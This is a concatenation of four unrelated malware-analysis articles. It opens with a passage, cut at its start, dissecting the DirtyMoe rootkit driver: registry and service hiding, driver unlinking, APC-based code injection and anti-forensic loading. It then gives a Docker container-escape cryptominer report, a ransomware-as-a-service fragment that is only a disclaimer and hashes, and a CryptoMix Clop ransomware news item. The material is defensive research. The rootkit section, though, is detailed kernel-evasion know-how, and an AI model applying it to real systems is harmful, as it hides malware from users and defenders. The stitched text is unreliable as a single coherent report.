The driver can hide a given registry key. Each manipulation with a registry key is hooked by the kernel method **GetCellRoutine()**. The configuration manager assigns a control block for each open registry key. The control block (**CM_KEY_CONTROL_BLOCK**) structure keeps all control blocks in a hash table to quickly search for existing control blocks. The **GetCellRoutine()** hook method computes a memory address of a requested key. Therefore, if the malware driver takes control over the **GetCellRoutine()**, the driver can filter which registry keys will be visible; more precisely, which keys will be searched in the hash table.
The malware driver finds an address of the original **GetCellRoutine()** and replaces it with its own malicious hook method, **MalGetCellRoutine()**. The driver uses well-documented implementation. It just goes through kernel structures obtained via the **ZwOpenKey()** kernel call. Then, the driver looks for **CM_KEY_CONTROL_BLOCK**, and its associated **HHIVE** structure corresponds with the requested key. The **HHIVE** structure contains a pointer to the **GetCellRoutine()** method, which the driver replaces.
This method’s pitfall is that offsets of looked structure, variable, or method are specific for each Windows version or build. So, the driver must determine on which Windows version the driver runs.
The **MalGetCellRoutine()** hook method performs 3 basic operations as follows:
1. The driver calls the original kernel **GetCellRoutine()** method.
2. Checks whitelists for a requested registry key.
3. Catches or releases the requested registry key according to the whitelist check.
#### Registry Key Hiding
The hiding technique uses a simple principle. The driver iterates across a whole HIVE of a requested key. If the driver finds a registry key to hide, it returns the last registry key of the iterated HIVE. When the interaction is at the end of the HIVE, the driver does not return the last key since it was returned before, but it just returns NULL, which ends the HIVE searching.
The consequence of this principle is that if the driver wants to hide more than one key, the driver returns the last key of the searched HIVE more times. So, the final results of the registry query can contain duplicate keys.
Whitelisting
The **services.exe** and **System** services are whitelisted by default, and there is no restriction. Whitelisted process image names are also without any registry access restriction. A decision-making mechanism is more complicated for Windows 10. The driver hides the request key only for **regedit.exe** application if the Windows 10 build is 14393 (July 2016) or 15063 (March 2017).
### Thread Notification
The main purpose of the Thread Notification is to inject malicious code into created threads. The driver registers a thread notification routine via **PsSetCreateThreadNotifyRoutine()** during the Device Entry initialization. The routine registers a callback which is subsequently notified when a new thread is created or deleted. The suspicious callback (**PCREATE_THREAD_NOTIFY_ROUTINE**) **NotifyRoutine()** takes three arguments: ProcessID, ThreadID, and Create flag. The driver affects only threads in which Create flag is set to TRUE, so only newly created threads.
The whitelisting is focused on two aspects. The first one is an image name, and the second one is command-line arguments of a created thread. The image name is stored in **WinDriverMaker1**, and arguments are stored as a checksum in the **WinDriverMaker2** variable. The driver is designed to inject only two processes defined by a process name and two processes defined by command line arguments. There are no whitelists, just 4 global variables.
#### Kernel Method Lookup
The successful injection of the malicious code requires several kernel methods. The driver does not call these methods directly due to detection techniques, and it tries to obfuscate the required method. The driver requires the following kernel methods: **ZwReadVirtualMemory**, **ZwWriteVirtualMemory**, **ZwQueryVirtualMemory**, **ZwProtectVirtualMemory**, **NtTestAlert**, **LdrLoadDll**.
The kernel methods are needed for successful thread injection because the driver needs to read/write process data of an injected thread, including program instruction.
#### Virtual Memory Method Lookup
The driver gets the address of the **ZwAllocateVirtualMemory()** method. All lookup methods are consecutively located after **ZwAllocateVirtualMemory()** method in **ntdll.dll**.
The driver starts to inspect the code segments from the address of the **ZwAllocateVirtualMemory()** and looks up for instructions representing the constant move to **eax** (e.g. **mov eax, ??h**). It identifies the VirtualMemory methods.
When an appropriate constant is found, the final address of a lookup method is calculated as follows:
**method_address = constant_address - alignment_constant**;
where **alignment_constant** helps to point to the start of the looked-up method.
The steps to find methods can be summarized as follows:
1. Get the address of **ZwAllocateVirtualMemory()**, which is not suspected in terms of detection.
2. Each sought method contains a specific constant on a specific address (**constant_address**).
3. If the **constant_address** is found, another specific offset (**alignment_constant**) is subtracted; the **alignment_constant** is specific for each Windows version.
The exact implementation of the Virtual Memory Method Lookup method is shown in the figures.
#### NtTestAlert and LdrLoadDll Lookup
A different approach is used for getting **NtTestAlert()** and **LdrLoadDll()** routines. The driver attaches to the **winlogon.exe** process and gets the pointer to the kernel structure **PEB_LDR_DATA** containing PE header and imports of all processes in the system. If the import table includes a required method, then the driver extracts the base address, which is the entry point to the sought routine.
### Process Injection
The aim of the process injection is to load a defined DLL library into a new thread via kernel function **LdrLoadDll()**. The process injection is slightly different for x86 and x64 OS versions. The x64 OS version abuses the original **NtTestAlert()** routine, which checks the thread’s APC queue. The APC (Asynchronous Procedure Call) is a technique to queue a job to be done in the context of a specific thread. It is called periodically. The driver rewrites the instructions of the **NtTestAlert()** which jumps to the entry point of the malicious code.
#### Modification of NtTestAlert Code
The first step to the process injection is to find free memory for a code cave. The driver finds the free memory near the **NtTestAlert()** routine address. The code cave includes a shellcode. The shellcode prepares a parameter (**code_cave address**) for the malicious code and then jumps into it. The original **NtTestAlert()** address is moved into **rax** because the malicious code ends by the return instruction, and therefore the original **NtTestAlert()** is invoked. Finally, **rdx** contains the jump address, where the driver injected the malicious code.
### Service Hiding
Windows uses the Services Control Manager (SCM) to manage the system services. The executable of SCM is **services.exe**. This program runs at the system startup and performs several functions, such as running, ending, and interacting with system services. The SCM process also keeps all run services in an undocumented service record (**SERVICE_RECORD**) structure.
The driver must patch the service record to hide a required service. Firstly, the driver must find the process **services.exe** and attach it to this one via **KeStackAttachProcess()**. The malware author defined a byte sequence which the driver looks for in the process memory to find the service record. The **services.exe** keeps all run services as a linked list of **SERVICE_RECORD**. The malware driver iterates this list and unlinks required services defined by **listServices** whitelist.
The used byte sequence for Windows 2000, XP, Vista, and Windows 7 is as follows: **{45 3B E5 74 40 48 8D 0D}**. There is another byte sequence **{48 83 3D ?? ?? ?? ?? ?? 48 8D 0D}** that is never used because it is bound to the Windows version that the malware driver has never identified; maybe in development.
The hidden services cannot be detected using PowerShell command **Get-Service**, Windows Task Manager, Process Explorer, etc. However, started services are logged via Windows Event Log. Therefore, we can enumerate all regular services and all logged services. Then, we can create differences to find hidden services.
### Driver Hiding
The driver is able to hide itself or another malicious driver based on the IOCTL from the user-mode. The Driver Entry is initiated by a parameter representing a driver object (**DRIVER_OBJECT**) of the loaded driver image. The driver object contains an officially undocumented item called a driver section. The **LDR_DATA_TABLE_ENTRY** kernel structure stores information about the loaded driver, such as base/entry point address, image name, image size, etc. The driver section points to **LDR_DATA_TABLE_ENTRY** as a double-linked list representing all loaded drivers in the system.
When a user-mode application lists all loaded drivers, the kernel enumerates the double-linked list of the **LDR_DATA_TABLE_ENTRY** structure. The malware driver iterates the whole list and unlinks items (drivers) that should be hidden. Therefore, the kernel loses pointers to the hidden drivers and cannot enumerate all loaded drivers.
### Driver Unload
The Driver Unload function contains suspicious code, but it seems to be never used in this version. The rest of the unload functionality executes standard procedure to unload the driver from the system.
## Loading Driver During Boot
The DirtyMoe service loads the malicious driver. A driver image is not permanently stored on a disk since the service always extracts, loads, and deletes the driver images on the service startup. The secondary service aim is to eliminate evidence about driver loading and eventually complicate a forensic analysis. The service aspires to camouflage registry and disk activity. The DirtyMoe service is registered as follows:
- **Service name:** Ms<volume_id>App; e.g., MsE3947328App
- **Registry key:** HKLM\SYSTEM\CurrentControlSet\services\<service_name>
- **ImagePath:** %SystemRoot%\system32\svchost.exe -k netsvcs
- **ServiceDll:** C:\Windows\System32\<service_name>.dll, ServiceMain
- **ServiceType:** SERVICE_WIN32_SHARE_PROCESS
- **ServiceStart:** SERVICE_AUTO_START
### Registry Operation
On startup, the service creates a registry record, describing the malicious driver to load; see the following example:
- **Registry key:** HKLM\SYSTEM\CurrentControlSet\services\dump_E3947328
- **ImagePath:** \??\C:\Windows\System32\drivers\dump_LSI_FC.sys
- **DisplayName:** dump_E3947328
At first glance, it is evident that **ImagePath** does not reflect **DisplayName**, which is the Windows common naming convention. Moreover, **ImagePath** prefixed with **dump_** string is used for virtual drivers (loaded only in memory) managing the memory dump during the Windows crash. The malware tries to use the virtual driver name convention not to be so conspicuous. The principle of the Dump Memory using the virtual drivers is described in the references.
### Driver Loading
When the registry entry is ready, the DirtyMoe service dumps the driver into the file defined by **ImagePath**. Then, the service loads the driver via **ZwLoadDriver()**.
### Evidence Cleanup
When the driver is loaded either successfully or unsuccessfully, the DirtyMoe service starts to mask various malicious components to protect the whole malware hierarchy.
The DirtyMoe service removes the registry key representing the loaded driver. Further, the loaded driver hides the malware services. Registry entries related to the driver are removed via the API call. Therefore, a forensics track can be found in the SYSTEM registry HIVE, located in **%SystemRoot%\system32\config\SYSTEM**. The API call just removes a relevant HIVE pointer, but unreferenced data is still present in the HIVE stored on the disk. Hence, we can read removed registry entries via RegistryExplorer.
The loaded driver also removes the dumped (dump_ prefix) driver file. We were not able to restore this file via tools enabling recovery of deleted files, but it was extracted directly from the service DLL file.
### Capturing Driver Image and Register Keys
The malware service is responsible for the driver loading and cleanup of loading evidence. We put a breakpoint into the **nt!IopLoadDriver()** kernel method, which is reached if a process wants to load a driver into the system. We waited for the wanted driver, and then we listed all the system processes. The corresponding service (**svchost.exe**) has a call stack that contains the kernel call for driver loading, but the corresponding service has been killed by EIP registry modifying. The process (service) was killed, and the whole Windows ended in BSoD. Windows made a crash dump, so the file system caches have been flushed, and the malicious service did not finish the cleanup in time. Therefore, we were able to mount a volume and read all wanted data.
### Forensic Traces
Although the DirtyMoe service takes great pains to cover up the malicious activities, there are a few aspects that help identify the malware. The DirtyMoe service and loaded driver itself are hidden; however, the Windows Event Log system records information about started services. Therefore, we can get additional information such as ProcessID and ThreadID of all services, including the hidden services.
WinDbg connected to the Windows kernel can display all loaded modules using the **lm** command. The module list can uncover non-virtual drivers with prefix **dump_** and identify the malicious drivers.
Offline connected volume can provide the DLL library of the services and other supporting files, which are unfortunately encrypted and obfuscated with VMProtect. Finally, the offline SYSTEM registry stores records of the DirtyMoe service.
## Certificates
Windows Vista and later versions of Windows require that loaded drivers must be code-signed. The digital code-signature should verify the identity and integrity of the driver vendor. However, Windows does not check the current status of all certificates signing a Windows driver. So, if one of the certificates in the path is expired or revoked, the driver is still loaded into the system. We will not discuss why Windows loads drivers with invalid certificates since this topic is really wide. The backward compatibility but also a potential impact on the kernel implementation play a role.
DirtyMoe drivers are signed with three certificates as follows:
- **Beijing Kate Zhanhong Technology Co.,Ltd.**
Valid From: 28-Nov-2013 (2:00:00)
Valid To: 29-Nov-2014 (1:59:59)
SN: 3C5883BD1DBCD582AD41C8778E4F56D9
Thumbprint: 02A8DC8B4AEAD80E77B333D61E35B40FBBB010A0
Revocation Status: Revoked on 22-May-2014 (9:28:59)
- **Beijing Founder Apabi Technology Limited**
Valid From: 22-May-2018 (2:00:00)
Valid To: 29-May-2019 (14:00:00)
SN: 06B7AA2C37C0876CCB0378D895D71041
Thumbprint: 8564928AA4FBC4BBECF65B402503B2BE3DC60D4D
Revocation Status: Revoked on 22-May-2018 (2:00:01)
- **Shanghai Yulian Software Technology Co., Ltd. (上海域联软件技术有限公司)**
Valid From: 23-Mar-2011 (2:00:00)
Valid To: 23-Mar-2012 (1:59:59)
SN: 5F78149EB4F75EB17404A8143AAEAED7
Thumbprint: 31E5380E1E0E1DD841F0C1741B38556B252E6231
Revocation Status: Revoked on 18-Apr-2011 (10:42:04)
The certificates have been revoked by their certification authorities, and they are registered as stolen, leaked, misuse, etc. Although all certificates have been revoked in the past, Windows loads these drivers successfully because the root certificate authorities are marked as trusted.
## Summarization and Discussion
We summarize the main functionality of the DirtyMoe driver. We discuss the quality of the driver implementation, anti-forensic mechanisms, and stolen certificates for successful driver loading.
### Main Functionality
The driver is controlled via IOCTL codes which are sent by malware processes in the user-mode. However, the driver implements the authorization instrument, which verifies that the IOCTLs are sent by authenticated processes. Therefore, not all processes can communicate with the driver.
### Affecting the Filesystem
If a rootkit is in the kernel, it can do “anything”. The DirtyMoe driver registers itself in the filter manager and begins to influence the results of filesystem I/O operations; in fact, it begins to filter the content of the filesystem. Furthermore, the driver replaces the **NtfsCreatCallback()** callback function of the NTFS driver, so the driver can determine who should gain access and what should not get to the filesystem.
### Thread Monitoring and Code Injection
The DirtyMoe driver enrolls a malicious routine which is invoked if the system creates a new thread. The malicious routine abuses the APC kernel mechanism to execute the malicious code. It loads arbitrary DLL into the new thread.
### Registry Hiding
This technique abuses the kernel hook method that indexes registry keys in HIVE. The code execution of the hook method is redirected to the malicious routine so that the driver can control the indexing of registry keys. Actually, the driver can select which keys will be indexed or not.
### Service and Driver Hiding
Patching of specific kernel structures causes that certain API functions do not enumerate all system services or loaded drivers. Windows services and drivers are stored as a double-linked list in the kernel. The driver corrupts the kernel structures so that malicious services and drivers are unlinked from these structures. Consequently, if the kernel iterates these structures for the purpose of enumeration, the malicious items are skipped.
### Anti-Forensic Technique
As we mentioned above, the driver is able to hide itself. But before driver loading, the DirtyMoe service must register the driver in the registry and dump the driver into the file. When the driver is loaded, the DirtyMoe service deletes all registry entries related to the driver loading. The driver deletes its own file from the file system through the kernel-mode. Therefore, the driver is loaded in the memory, but its file is gone.
The DirtyMoe service removes the registry entries via standard API calls. We can restore this data from the physical storage since the API calls only remove the pointer from HIVE. The dumped driver file is never physically stored on the disk drive because its size is too small and is present only in cache memory. Accordingly, the file is removed from the cache before cache flushing to the disk, so we cannot restore the file from the physical disk.
### Discussion
The whole driver serves as an all-in-one super rootkit package. Any malware can register itself in the driver if knowing the authorization code. After successful registration, the malware can use a wide range of driver functionality. Hypothetically, the authorization code is hardcoded, and the driver’s name can be derived so we can communicate with the driver and stop it.
The system loads the driver via the DirtyMoe service within a few seconds. Moreover, the driver file is never present in the file system physically, only in the cache. The driver is loaded via the API call, and the DirtyMoe service keeps a handler of the driver file, so the file manipulation with the driver file is limited. However, the driver removes its own file using kernel-call. Therefore, the driver file is removed from the file system cache, and the driver handler is still relevant, with the difference that the driver file does not exist, including its forensic traces.
The DirtyMoe malware is written using Delphi in most cases. Naturally, the driver is coded in native C. The code style of the driver and the rest of the malware is very different. We analyzed that most of the driver functionalities are downloaded from internet forums as public samples. Each implementation part of the driver is also written in a different style. The malware authors have merged individual rootkit functionality into one kit. They also merged known bugs, so the driver shows a few significant symptoms of driver presence in the system. The authors needed to adapt the functionality of the public samples to their purpose, but that has been done in a very dilettante way. It seems that the malware authors are familiar only with Delphi.
Finally, the code-signature certificates that are used have been revoked in the middle of their validity period. However, the certificates are still widely used for code signing, so the private keys of the certificates have probably been stolen or leaked. In addition, the stolen certificates have been signed by the certification authority which Microsoft trusts, so the certificates signed in this way can be successfully loaded into the system despite their revocation. Moreover, the trend in the use of certificates is growing, and predictions show that it will continue to grow in the future. We will analyze the problems of the code-signature certificates in the future post.
## Conclusion
DirtyMoe driver is an advanced piece of rootkit that DirtyMoe uses to effectively hide malicious activity on host systems. This research was undertaken to inspect the rootkit functionality of the DirtyMoe driver and evaluate the impact on infected systems. This study set out to investigate and present the analysis of the DirtyMoe driver, namely its functionality, the ability to conceal, deployment, and code-signature.
The research has shown that the driver provides key functionalities to hide malicious processes, services, and registry keys. Another dangerous action of the driver is the injection of malicious code into newly created processes. Moreover, the driver also implements the minifilter, which monitors and affects I/O operations on the file system. Therefore, the content of the file system is filtered, and appropriate files/directories can be hidden for users. An implication of this finding is that malware itself and its artifacts are hidden even for AVs. More importantly, the driver implements another anti-forensic technique which removes the driver’s evidence from disk and registry immediately after driver loading. However, a few traces can be found on the victim’s machines.
This study has provided the first comprehensive review of the driver that protects and serves each malware service and process of the DirtyMoe malware. The scope of this study was limited in terms of driver functionality. However, further experimental investigations are needed to hunt out and investigate other samples that have been signed by the revoked certificates. Because of this, the malware author can be traced and identified using thus abused certificates.
## IoCs
**Samples (SHA-256)**
- 550F8D092AFCD1D08AC63D9BEE9E7400E5C174B9C64D551A2AD19AD19C0126B1
- AABA7DB353EB9400E3471EAAA1CF0105F6D1FAB0CE63F1A2665C8BA0E8963A05
- B3B5FFF57040C801A4392DA2AF83F4BF6200C575AA4A64AB9A135B58AA516080
- CB95EF8809A89056968B669E038BA84F708DF26ADD18CE4F5F31A5C9338188F9
- EB29EDD6211836E6D1877A1658E648BEB749091CE7D459DBD82DC57C84BC52B1
## References
1. Kernel-Mode Driver Architecture
2. Driver to Hide Processes and Files
3. A piece of code to hide registry entries
4. Hidden
5. Opening Hacker’s Door
6. Hiding loaded driver with DKOM
7. Crashdmp-ster Diving the Windows 8 Crash Dump Stack
8. Ghost drivers named dump_*.sys
9. Driver Signing
10. Australian web hosts hit with a Manic Menagerie of malware
## Appendix A
Registry entries used in the Start Routine:
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceAddress
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceNumber
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceId
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceName
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceNameB
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceNameOnly
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverMaker1
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverMaker1_2
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverMaker2
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverMaker2_2
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDevicePathA
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDevicePathB
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverPath1
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverPath1_2
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverPath2
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverPath2_2
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceDataA
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceDataB
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverDataA
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverDataA_2
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverDataB
- \\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverDataB_2
## Appendix B
Example of registry entries configuring the driver:
- **Key:** ControlSet001\Control\WinApi
**Value:** WinDeviceAddress
**Data:** Ms312B9050App
- **Value:** WinDeviceNumber
**Data:**
\WINDOWS\AppPatch\Ke601169.xsl;
\WINDOWS\AppPatch\Ke237043.xsl;
\WINDOWS\AppPatch\Ke311799.xsl;
\WINDOWS\AppPatch\Ke119163.xsl;
\WINDOWS\AppPatch\Ke531580.xsl;
\WINDOWS\AppPatch\Ke856583.xsl;
\WINDOWS\AppPatch\Ke999860.xsl;
\WINDOWS\AppPatch\Ke410472.xsl;
\WINDOWS\AppPatch\Ke673389.xsl;
\WINDOWS\AppPatch\Ke687417.xsl;
\WINDOWS\AppPatch\Ke689468.xsl;
\WINDOWS\AppPatch\Ac312B9050.sdb;
\WINDOWS\System32\Ms312B9050App.dll;
- **Value:** WinDeviceName
**Data:**
C:\WINDOWS\AppPatch\Ac312B9050.sdb;
C:\WINDOWS\System32\Ms312B9050App.dll;
- **Value:** WinDeviceId
**Data:** dump_FDC.sys |
# Threat Actors Now Target Docker via Container Escape Features
An increasing number of enterprises and organizations have adopted the microservice architecture for its simplicity and flexibility. In fact, a 2019 survey states that 89% of technology leaders believe that microservices are vital for enterprises to remain competitive in an ever-evolving digital world. As more developers deploy containers on-premises and in cloud services, critical data could be inadvertently exposed due to security control failures, making them an interesting target for threat actors. We are seeing ongoing attacks against misconfigured services, such as cryptocurrency-mining malware being deployed in exposed Redis instances and as rogue containers using a community-contributed container image on Docker Hub.
We saw an attack where cryptocurrency-mining malware searched and killed off other existing cryptocurrency miners in infected Linux systems to maximize their own computing power. This attack showcased the malicious actors’ familiarity with Docker and Redis, as the malware featured in this attack looked for exposed application programming interfaces (APIs) in these platforms. However, we’re currently seeing something completely different — a payload specifically crafted to be able to escape privileged containers with all of the root capabilities of a host machine. It’s important to note that being on Docker doesn’t automatically mean that a user’s containers are all privileged. In fact, the vast majority of Docker users do not use privileged containers. However, this is further proof that using privileged containers without knowing how to properly secure them is a bad idea.
## Technical analysis
**Case details by Alfredo Oliveira**
In July 2019, Felix Wilhelm from the Google Security Team tweeted a proof of concept (PoC) showcasing how “trivial” it would be to break out a privileged Docker container or a Kubernetes pod abusing the cgroups release_agent feature. Our team recently spotted a container abuse attack using the same approach to try to break out of our honeypot environment.
Based on our investigation, the attacker or bot source IP addresses feature addresses from the UK and France. A malicious container running on a Docker-run host is deployed and ran. The attacker’s entry point is a shell script called calm.sh. Calm.sh will then drop another shell script called cmd. Calm.sh will call nginx, a fake app that is actually an executable and linkable format (ELF) cryptocurrency miner. The attackers possibly used the name nginx, which is usually associated with an HTTP server, to fly under the radar and fool victims into thinking that it’s legitimate.
Our honeypot was caught by a network scanner that has become very popular among container attacks. The scanner called zgrab mapped the container with the exposed API, and we found that the following connection deployed the malicious container in the system.
The API using the command create pulled the container image called “gin” from its registry. One of the options used as a deployment parameter was privileged, since it’s a requirement for this specific escape technique.
In case the exploitation is not successful, we observed that the attackers didn’t miss the opportunity to launch a cryptocurrency miner on a vulnerable server that didn’t need a privileged container to run on. The cryptocurrency miner binary is an ELF file called nginx, which is also embedded inside a malicious container image. It attempts to operate stealthily by pretending to be a valid service instead of being a malicious file with the purpose of using all of the infected container’s available resources to mine cryptocurrency — a trend that we have been talking about for a while now.
## Is vulnerability checking enough to secure a container image?
An important process that will help guarantee that a container image is kept secure is to scan it for vulnerabilities — but that shouldn’t be all that should be done to secure containers. Security teams should also regularly scan container images for malware and exploit files.
In this specific attack, the nginx binary is a known sample to Trend Micro’s threat intelligence and solutions, which is why our anti-malware engine promptly detected it. It is a myth that Linux-based operating systems are immune from threats and risks such as this. As we’ve recently discussed in another article, malicious actors are zeroing in on Linux as a lucrative target due to the influx of enterprises and organizations moving to the cloud and using Linux in their critical business operations.
## Conclusion
Malicious actors are targeting popular DevOps technologies and finding new ways to attack containers and cloud environments. Most of the earlier samples we analyzed did not implement any security checks. What attackers seemed to have been doing is to try everything and to see what would work; it was a matter of throwing everything at the wall and seeing what would stick. We’re now seeing that malicious actors are becoming more sophisticated with their techniques. They are currently implementing security checks to try to exploit a bad implementation and escape from the container to the host or deploy a cryptocurrency miner and profit from their victims’ resources.
## Trend Micro solutions
Trend Micro™ Cloud One™ is a security services platform for cloud builders. It provides automated protection for cloud migration, cloud-native application development, and cloud operational excellence. It also helps identify and resolve security issues sooner and improves delivery time for DevOps teams. It includes the following:
- **Workload Security:** runtime protection for workloads
- **Container Security:** automated container image and registry scanning
- **File Storage Security:** security for cloud file and object storage services
- **Network Security:** cloud network layer IPS security
- **Application Security:** security for serverless functions, APIs, and applications
- **Conformity:** real-time security for cloud infrastructure — secure, optimize, and comply
## Indicators of compromise (IoCs)
| SHA-256 | File | Detection name |
|--------------------------------------------------------------------------------------------------|--------------|-----------------------------------------|
| 6f2825856a5ae87face1c68ccb7f56f726073b8639a0897de77da25c8ecbeb19 | nginx | Coinminer.Linux.MALXMR.SMDSL64 |
| 548236b18ae6c6b588f1180ac70561f20c1bce33b98ef15e385b5c060921b871 | calm.sh | Trojan.SH.DOKI.A |
We provide a technical analysis of a container abuse attack that features a payload that’s specifically crafted to be able to escape privileged Docker containers. |
# The Rise and Fall of Encryptor RaaS
## TrendLabs Security Intelligence Blog
Stephen Hilt and Fernando Mercês
September 2016
---
**TREND MICRO LEGAL DISCLAIMER**
The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an “as is” condition.
---
**Related Hashes (SHA1):**
**Detection**
RANSOM_CRYPRAAS.SM
768a22143494bc93e77c8a11e7a132d97404ac9e
a8f05055d67fc3a3e7515303f0713f91076d0cca
220ac7da08ccccb37dd519b248206d6fdbc112d3
123dd6ef839dd502a10070f0242d925bf75ce96e
5c3dea998069caf238662ce63d45ac413d018d8b
9ef6c211b73a89c936aa98bbd5f7348a5f7cb5fc
7dec876e024677077073a6b9a55f582116e8a0ca
660475e5f93dc962bb0376313e7af1b3dabe5097
fa06a884b17cd35a51ccad89f0e1795979266b2e
f61a88b220e7f4fb922d0d5070754111ac31d522
83dda319953c1769e3dc14ae9bafc17c0b4a68e3
5d0cb76c35b308010e837b7e7345f06058e891b9
df752fd6926b03ebc1ce1922d5791ef0abd5bf77
b2e0ef8991c43816e18d4b97238b2a1b5355c541
7590929b5ae74397c716998da0b5cdf18597a9f0
a347112b590b406c243387699977b17821a64da2
145d6a86c5da4dcef1be47c70c6be4c4eebb0b44
a42e28586c76d999d0ab4d1f04f28ea7818b68e7
c2399174be7e36d899f1cf3f3b14eb69060878a2
8ee97173ab899d3559aa298e9b272f995d477ce7
b3c237410a7727569765ac7574751da9d450d850
7fc0004dbfae00f50489fa67f35374b510c9c058
ad6f4281d786532337d8583faf2a438ed599af39
db4835cca59235984bc234a5c461a245dba69bc8
f538b0fd6a55b68f129cff2682f43c6e80810253
8c5c112a5e062ff69165a8cf9656987cd344701e
045153cebf1ce6298055b420fbff85da3a9029e8
fc183608db02091bee55360ffc40486347a026da
5086fd95a2db1d9df911cf2bf181f79456dd6647
15d9c04d49f029b0298b892473fe1bd2839c04d8
81e74e8a9cdd2255e2036ab78b8b0ea61b5f7dfa
af1475814d340e9a4f17aa9eb55a98bc51770d48
79e80b85ae61f3ec9a6eafa51264b8fb7cba1fda
30835d837b522a956de92f6c9a099c87cf752017
b4df21de384c30f9fa0d372cc8d47ab2ec9a7ab6
**Detection**
RANSOM_CRYPRAAS.B
1dbc546dc267c399f3f8c69172aff06ddb35f828
---
Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses, and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers, and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe.
**Contact Information:**
10101 N. De Anza Blvd.
Cupertino, CA 95014
U.S. toll free: 1 +800.228.5651
Phone: 1 +408.257.1500
Fax: 1 +408.257.2003
©2016 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. |
# CryptoMix Clop Ransomware Says It's Targeting Networks, Not Computers
A new CryptoMix Ransomware variant has been discovered that appends the .CLOP or .CIOP extension to encrypted files. Of particular interest is that this variant is now indicating that the attackers are targeting entire networks rather than individual computers. This variant was discovered by MalwareHunterTeam, who has noticed that the developers are switching between different email addresses and slight variations in the extension.
As we are always looking for weaknesses, if you are a victim of this variant and decide to pay the ransom, please send us the decryptor so we can take a look at it. You can also discuss or receive support for Cryptomix ransomware infections in our dedicated Cryptomix Help & Support Topic.
## The Clop CryptoMix Ransomware variant
It has been quite a while since we covered a new CryptoMix variant and some things have changed since then. This variant is currently being distributed using executables that have been code-signed with a digital signature. Doing so makes the executable appear more legitimate and may help to bypass security software detections.
In an analysis by security researcher Vitali Kremez, when started this variant will first stop numerous Windows services and processes in order to disable antivirus software and close all files so that they are ready for encryption. Examples of processes that are shutdown include Microsoft Exchange, Microsoft SQL Server, MySQL, BackupExec, and more.
Another item noticed by BleepingComputer in this variant is that it will create a batch file named `clearnetworkdns_11-22-33.bat` that will be executed soon after the ransomware is launched. This batch file will disable Windows's automatic startup repair, remove shadow volume copies, and then resize them in order to clear orphaned shadow volume copies.
The ransomware will then begin to encrypt a victim's files. When encrypting files it will append the .Clop or .CIop extension to the encrypted file's name. For example, a test file encrypted by this variant has an encrypted file name of `test.jpg.CIop`.
This variant will also create a ransom note named `CIopReadMe.txt` that is now indicating that they are targeting an entire network rather than an individual computer. Whether this is true or not is not known at this time, as the ransomware itself does not have the ability to self-propagate, but could be done manually if the attackers are hacking into Remote Desktop Services.
This ransom note also contains the emails `[email protected]`, `[email protected]`, and `[email protected]` that can be used to contact the attackers for payment instructions. Unfortunately, at this time the ransomware cannot be decrypted for free. You can receive support or discuss Cryptomix ransomware infections in our dedicated Cryptomix Help & Support Topic.
## How to protect yourself from the Ransomware
In order to protect yourself from ransomware it is important that you use good computing habits and security software. The most important step is to always have a reliable and tested backup of your data that can be restored in the case of an emergency, such as a ransomware attack.
You should also make sure that you do not have any computers running remote desktop services connected directly to the Internet. Instead, place computers running remote desktop behind VPNs so that they are only accessible to those who have VPN accounts on your network.
